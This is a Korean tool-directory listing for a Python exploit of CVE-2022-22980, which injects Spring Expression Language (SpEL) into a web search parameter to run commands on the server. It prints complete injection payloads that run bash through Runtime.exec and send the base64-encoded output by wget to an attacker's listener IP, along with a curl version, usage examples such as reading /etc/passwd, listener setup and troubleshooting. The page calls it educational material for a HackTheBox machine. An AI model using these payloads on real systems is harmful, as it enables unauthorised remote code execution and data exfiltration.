Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-22980 — Exploitation de CVE-2022-22980 | Kitploit
도구/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Payload GenerationExploitationWeb Application ExploitationCTFCommand and ControlLearning & Education
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

Exploitation de CVE-2022-22980

저장소 보기
16개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

SpEL RCE Exploit - CVE-2022-22980

Spring Data에서 SpEL(Spring Expression Language) 주입을 통한 원격 코드 실행(RCE) 익스플로잇입니다.

설명

취약점

이 박스는 tracking_id 매개변수를 받는 /search 엔드포인트를 노출하며, 이 매개변수는 SpEL 주입에 취약합니다. 이 주입을 통해 서버에서 직접 악성 Java 표현식을 실행할 수 있습니다.

익스플로잇 원리

  1. Runtime.getRuntime().exec()를 통해 셸 명령어를 실행하는 SpEL 표현식 주입
  2. 명령어 출력을 base64로 인코딩
  3. 제어하는 리스너로 HTTP GET 요청을 통해 결과 추출
  4. 디코딩 및 결과 출력

사용법

사전 요구사항

  • Python 3.x 및 표준 모듈(http.server, subprocess, threading, base64)
  • 로컬 머신에 curl
  • 대상 머신에 wget (추출용)
  • 사용 가능한 포트 80 (또는 스크립트에서 LPORT 수정)
  • 대상에 대한 네트워크 접근

설정

환경에 맞게 스크립트에서 매개변수를 수정하세요:

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # 대상 URL
LHOST = "<VOTRE_IP>"                        # 로컬 IP (HTB의 경우 tun0)
LPORT = 80                                  # 리스닝 포트

실행

root@kitploit:~
# 간단한 명령어
python3 spel_shell.py "whoami"

# 파이프 명령어
python3 spel_shell.py "cat /etc/passwd"

# 시스템 정보 확인
python3 spel_shell.py "uname -a"

# 네트워크 접근 확인
python3 spel_shell.py "curl -s http://httpbin.org/get"

출력 예시

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

수동 페이로드 (참고)

스크립트 없이 페이로드를 테스트하려면:

root@kitploit:~
# 터미널 1: 리스너 시작
python3 -m http.server 80

# 터미널 2: 페이로드 전송
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

문제 해결

오류: "Address already in use"

포트 80이 사용 중입니다. 해결 방법:

root@kitploit:~
# 포트를 사용 중인 프로세스 확인
sudo netstat -tlnp | grep :80

# Apache 실행 중인 경우 중지
sudo systemctl stop apache2

# 또는 다른 포트 사용
# 스크립트에서 LPORT를 수정하고 테스트

응답 없음 ("No response received")

  1. 네트워크 연결 확인: 대상이 LHOST:LPORT에 도달할 수 있는지 확인
  2. 간단한 명령어로 테스트: python3 spel_shell.py "echo test"
  3. 포트 권한 확인: Linux에서 포트 80은 sudo 필요
  4. LHOST IP 확인: ifconfig 사용 (HTB의 경우 tun0), 127.0.0.1 사용 금지

base64 디코딩 오류

"Raw data received" 대신 "Command output"이 보이지 않으면 명령어가 유효한 출력을 생성하지 않은 것입니다. 항상 출력을 생성하는 명령어로 테스트하세요.

스크립트 아키텍처

root@kitploit:~
1. start_server() - 포트 80에서 HTTP 서버 시작
                   ↓
2. curl을 통해 대상에 SpEL 페이로드 전송
                   ↓
3. 대상이 명령어를 실행하고 출력을 base64로 인코딩
                   ↓
4. wget이 결과를 리스너로 전송 (GET http://LHOST:LPORT/<data>)
                   ↓
5. Handler가 데이터를 수신 및 저장
                   ↓
6. 스크립트가 디코딩하여 결과 출력

경고

이 스크립트는 HackTheBox 박스용 교육 목적으로 제공됩니다. 테스트 권한이 있는 환경에서만 사용하세요.


저자 : Eliasdekiniweek 날짜 : 2026년 2월
언어 : Python 3

도구 다운로드